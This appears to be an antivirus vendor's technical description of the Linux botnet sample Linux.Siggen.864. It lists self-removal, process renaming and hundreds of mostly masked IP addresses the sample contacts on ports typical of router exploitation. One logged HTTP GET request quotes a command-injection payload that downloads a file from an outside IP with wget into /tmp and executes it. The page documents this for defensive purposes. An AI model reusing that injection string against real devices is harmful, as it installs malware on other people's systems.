Linux.Siggen.864

Technical Information

Malicious functions:

Removes itself

Substitutes application name for:

hgm4cdpjg0pl4djfk0oeh4ke1mhlp23g

Network activity:

Establishes connection:

8.#.8.8:53
80.###.112.150:1194
21#.##8.172.203:80
17#.##3.108.22:80
21#.##.50.107:80

HTTP GET requests:

http://###.###.###.########.###########20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$

Sends data to the following servers:

41.###.129.108:37215
21#.##6.11.110:8080
88.###.103.110:80
21#.##4.245.89:80
49.##.110.111:80
88.##.103.110:52869
20#.##9.53.88:52869
22#.###.171.108:52869
58.##.229.98:52869
19#.###.109.108:37215
15#.##.186.58:37215
19#.###.101.153:37215
41.##.152.1:37215
19#.##.142.204:37215
21#.##.228.152:80
21#.##2.21.12:80
86.#.230.245:80
18#.##5.45.97:80
60.##.246.50:52869
61.###.97.29:52869
14.##.69.91:52869
20#.###.12.242:52869
41.##.238.157:37215
41.##.90.230:37215
41.###.181.29:37215
15#.###.203.95:37215
15#.##.47.110:37215
12#.#2.71.89:80
17#.##.131.243:80
57.##.86.124:8080
17#.##.200.109:52869
14#.##.139.255:52869
20#.###.209.101:52869
68.###.122.198:52869
4.###.36.19:80
21#.##9.125.104:80
11#.##7.140.63:80
21#.##4.94.173:80
19#.###.187.98:37215
41.###.28.169:37215
19#.###.172.251:37215
42.##.58.72:52869
11#.###.164.150:52869
41.##.180.118:80
15#.###.35.221:37215
19#.###.202.75:37215
41.##.87.2:37215
10#.##.206.252:52869
34.###.134.93:52869
21#.##8.172.203:80
17#.##3.108.22:80
40.###.140.74:52869
69.###.27.11:52869
41.##.201.106:37215
41.###.152.87:37215
19#.###.189.213:37215
34.###.120.170:80
21#.###.197.129:8080
21#.##0.26.134:80
63.##.81.250:52869
20#.##9.99.74:52869
41.#.#3.145:37215
41.###.141.46:37215
15#.###.216.31:37215
70.###.137.22:52869
21#.##9.3.53:52869
19#.##.246.215:52869
20#.#.216.57:80
83.###.182.100:80
21#.##4.1.209:80
21#.##0.202.5:80
17#.##.70.193:80
19#.##.174.183:37215
15#.##.160.194:37215
85.###.171.84:52869
64.###.31.41:52869
18#.##.102.16:52869
19#.###.180.168:37215
15#.##.246.7:37215
15#.##.80.52:37215
21#.##5.223.32:80
21#.##4.217.29:80
22#.##8.121.183:80
11#.##.251.58:52869
94.###.24.68:52869
22#.##.77.118:52869
15#.##.51.90:37215
19#.#.218.116:37215
19#.##1.101.5:37215
19#.##0.17.222:8080
21#.##6.133.232:80
10#.##6.124.238:80
13#.##.148.146:52869
17#.###.104.147:52869
85.##.42.8:52869
15#.###.183.154:37215
11#.##3.174.55:80
42.##6.100.5:80
19#.##.163.137:80
21#.##1.206.33:80
21#.###.113.248:52869
13#.###.19.166:52869
70.###.126.84:52869
19#.##.23.119:37215
19#.##.248.169:37215
19#.##.220.19:37215
13#.###.222.157:52869
16#.##3.4.34:52869
21#.###.140.221:52869
21#.##1.52.212:80
15#.##.230.106:80
91.###.199.20:80
15#.##.15.41:37215
19#.##9.214.6:37215
15#.##.254.137:37215
19#.###.11.210:37215
17#.###.157.241:52869
58.###.66.254:52869
11#.###.145.22:52869
11#.##5.66.76:8080
21#.##.111.233:80
21#.##6.24.33:80
84.##.114.141:80
19#.###.38.220:37215
19#.##.70.25:37215
19#.##.43.76:37215
43.###.85.242:52869
10#.##.230.205:52869
35.##.177.252:52869
18#.##.156.197:52869
14#.##7.53.170:80
79.##.138.172:80
41.###.101.130:37215
19#.##3.56.30:37215
15#.###.86.216:37215
19#.##.131.132:37215
13#.###.31.168:52869
13#.##.213.8:52869
17#.##.82.179:52869
15#.##.159.54:80
21#.##9.92.62:80
20#.##.143.100:80
21#.##3.106.119:80
41.###.171.115:37215
15#.###.39.229:37215
15#.##.52.200:37215
21#.##7.66.51:52869
46.##.234.84:52869
18#.###.187.203:52869
18#.###.194.192:8080
21#.##5.249.230:80
21#.##.199.93:80
21#.##7.242.85:80
41.###.152.91:37215
41.##.60.23:37215
19#.###.223.243:37215
62.###.137.40:52869
15#.##.198.188:52869
18#.###.163.161:52869
45.###.220.29:80
9.###.195.145:80
21#.##.190.176:80
21#.##5.2.234:80
41.###.145.14:37215
41.##.87.47:37215
41.###.193.172:37215
22#.###.162.209:52869
85.##.26.69:52869
50.##.30.205:52869
20#.##.36.189:52869
15#.#.226.241:37215
19#.###.178.193:37215
15#.##1.3.192:37215
21#.##.165.235:80
21#.##1.50.72:80
21#.###.112.174:8080
17#.#.251.219:80
20#.##.184.46:52869
15#.###.179.21:52869
14#.##.216.23:52869
19#.###.186.251:37215
41.#.#53.108:37215
15#.###.49.128:37215
95.###.71.127:52869
21#.##.235.56:80
52.##.106.196:80
38.###.26.235:80
31.###.112.111:52869
67.###.246.22:52869
95.###.96.83:52869
77.##.172.101:52869
41.##.184.72:37215
41.###.110.32:37215
19#.###.125.87:37215
21#.##0.248.66:80
21#.##1.22.31:80
17#.##6.12.112:80
41.##.255.150:52869
18#.##3.9.157:52869
18.###.158.11:52869
16#.##1.2.233:52869
41.##.185.52:37215
19#.##9.56.64:37215
41.###.139.85:37215
14#.##.118.21:80
35.###.132.222:80
21#.##.34.67:8080
21#.#2.252.7:80
15#.###.74.173:37215
41.###.226.74:37215
15#.##2.20.45:37215
17#.##.129.166:52869
21#.##.1.96:52869
21#.###.128.110:52869
21#.###.206.56:52869
19#.##5.149.138:80
21#.##0.232.26:80
81.###.134.140:80
19#.###.89.208:37215
15#.##9.92.93:37215
19#.#.236.93:37215
19#.#.180.157:37215
21#.##5.246.63:80
20#.##.108.226:80
21#.#.183.111:80
65.###.255.194:52869
15#.###.167.156:52869
10#.##.219.144:52869
41.##.223.108:37215
41.###.234.39:37215
41.###.186.133:37215
18#.##4.184.180:80
13#.##.68.182:80
21#.##.95.4:8080
21#.##.217.187:80
52.###.89.202:52869
16#.###.128.39:52869
96.##.157.196:52869
19#.##.210.211:37215
15#.##9.7.241:37215
19#.###.151.77:37215
15#.##0.42.67:37215
85.##.63.168:52869
21#.##.186.103:52869
8.#.#5.60:52869
16#.##.99.143:80
60.###.157.113:80
14#.##8.110.81:80
21#.#6.44.38:80
14#.##2.72.55:52869
21#.###.229.204:52869
81.##.11.37:52869
11#.##.250.2:52869
41.###.200.115:37215
41.#.#31.188:37215
15#.##.76.225:37215
21#.##.50.107:80
12#.##1.139.189:80
21#.##9.220.113:80
21#.#83.17.1:80
12#.##.234.134:52869
97.##.149.47:52869
52.#.#49.52:52869
15#.##.83.70:37215
41.##.246.108:37215
19#.###.107.177:37215
19#.##.214.22:37215
21#.##2.237.54:8080
21#.##7.166.249:80
21#.##.56.193:80
17#.##1.87.24:52869
40.###.191.155:52869
20#.##.215.135:52869
43.###.207.190:52869
41.###.161.98:37215
41.##.166.165:37215
19#.##7.63.39:37215
15#.##.71.8:37215
21#.#5.18.57:80
54.###.24.240:80
19#.##6.59.158:80
21#.##6.236.226:80
13#.###.95.185:52869
13#.###.224.192:52869
18#.##4.64.1:52869
62.###.29.133:52869
41.#.#8.12:37215
19#.#.151.229:37215
19#.##.217.122:37215
21#.##2.81.70:80
21#.##.184.92:80
34.##3.72.97:80
18#.##.32.45:8080
57.##.106.55:52869
20#.###.255.254:52869
64.##.46.63:52869
19#.###.53.223:37215
15#.###.224.64:37215
19#.##5.20.77:37215
41.###.108.72:37215
21#.##6.133.14:80
21#.##5.150.139:80
18#.#3.20.63:80
19.##.175.117:52869
16#.###.183.223:52869
17#.###.119.152:52869
18.###.46.26:52869
41.###.196.168:37215
41.#.#30.53:37215
15#.##0.46.81:37215
21#.#5.106.5:80
15#.##.184.147:80
16#.##3.110.10:80
21#.##0.11.38:80
19.##.60.163:52869
44.###.4.164:52869
45.##.217.185:52869
19#.##4.86.51:37215
41.###.251.45:37215
41.###.191.156:37215
15#.###.187.231:37215
21#.##4.0.111:80
21#.##1.155.78:80
18#.##3.14.199:8080
11#.##.245.168:52869
25.###.139.243:52869
19#.###.122.25:52869
14#.###.246.38:52869
48.##.111.129:52869
19#.###.174.165:37215
41.###.236.41:37215
15#.##8.97.86:37215
19#.###.171.144:37215
21#.##.104.29:80
12#.##7.130.59:80
21#.##1.12.47:80
68.##.6.201:80
21#.##2.182.188:80
21#.#0.66.80:80
10#.#.35.211:80
69.###.173.106:52869
94.##.119.46:52869
11#.###.182.167:52869
15#.##.72.187:37215
15#.##.139.172:37215
19#.##.50.147:37215
41.###.126.30:37215
17#.###.198.98:52869
12#.##.37.229:52869
18#.##.110.218:52869
14#.##8.47.84:52869
1.###.211.103:80
21#.#82.41.3:80
21#.##5.12.218:8080
19#.##.36.50:37215
19#.##.115.56:37215
41.###.124.161:37215
41.###.178.126:37215
19#.##.127.72:80
10#.##8.38.251:80
21#.##7.222.175:80
16#.###.135.146:52869
59.###.16.131:52869
12#.##.129.241:52869
12.###.248.251:52869
15#.##.163.25:37215
41.###.23.49:37215
41.###.78.74:37215
21#.##8.99.125:80
21#.##2.251.27:80
17#.##.147.134:80
21#.##.156.58:80
19#.##0.98.40:37215
15#.##6.16.31:37215
41.##.55.229:37215
12#.##.151.55:52869
10#.###.152.26:52869
32.###.87.74:52869
21#.##.80.229:52869
21#.##8.201.82:80
97.##.41.68:80
17#.###.174.131:8080
19#.##.160.252:37215
19#.##.32.3:37215
15#.##.75.86:37215
41.##.226.178:37215
11#.###.39.193:52869
65.###.219.205:52869
15#.##.126.162:52869
21#.##.185.123:80
13#.##9.64.223:80
14#.##.214.44:80
17#.##.108.63:80
12#.##.71.111:52869
89.##.240.98:52869
15#.##.158.11:37215
41.##.13.44:37215
19#.###.53.206:37215
15#.##.199.198:37215
15#.###.173.110:37215
15#.##4.95.98:37215
11#.###.192.239:52869
14#.###.231.181:52869
14#.##0.18.7:52869
19.##.198.192:80
65.###.61.160:80
21#.##3.21.74:80
20#.##.176.46:80
13.###.3.228:52869
20#.##.189.64:52869
15#.###.228.193:52869
18#.##.226.102:52869
41.###.207.241:37215
41.###.7.205:37215
19#.##.113.90:37215
61.##.199.80:80
77.##.63.131:8080
21#.##.63.188:80
65.###.102.26:80
19#.##.75.16:52869
19#.###.48.109:52869
21#.###.16.249:52869
88.###.8.81:52869
15#.##0.69.43:37215
41.##.200.112:37215
41.##.133.108:37215
15#.###.118.14:37215
21#.##3.235.13:80
21#.##.134.121:80
17#.##2.20.69:80
10#.###.101.56:52869
11#.###.213.89:52869
86.###.193.114:52869
13#.###.163.95:52869
21#.##.12.229:80
21#.##5.108.166:80
21#.##9.94.243:80
11#.##.41.159:80
41.###.88.26:37215
15#.###.123.56:37215
19#.##.204.120:37215
41.#.#29.226:37215
41.###.230.242:37215
15#.###.123.228:37215
41.##.20.206:37215
14#.###.128.233:52869
20#.###.110.186:52869
25.##.71.163:52869
13.###.66.193:52869
25.###.71.79:8080
21#.##7.138.29:80
20#.##.247.92:80
21#.#.109.34:80
21#.##.223.177:80
45.##.240.172:80
21#.##2.114.164:80
41.###.218.40:37215
15#.##3.177.2:37215
41.###.123.233:37215
41.###.202.159:37215
8.###.230.167:52869
35.##.28.233:52869
19#.##.149.164:52869
12#.#1.203.6:80
18#.##.205.153:80
35.###.253.162:80
20#.##.163.228:52869
14#.###.74.198:52869
17#.###.142.102:52869
15#.##.113.85:37215
41.###.115.68:37215
19#.###.110.193:37215
41.##.55.88:37215
20#.###.200.188:52869
16#.##2.8.131:52869
15#.##.185.165:37215
41.###.36.226:37215
19#.###.207.175:37215
41.###.154.137:37215

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations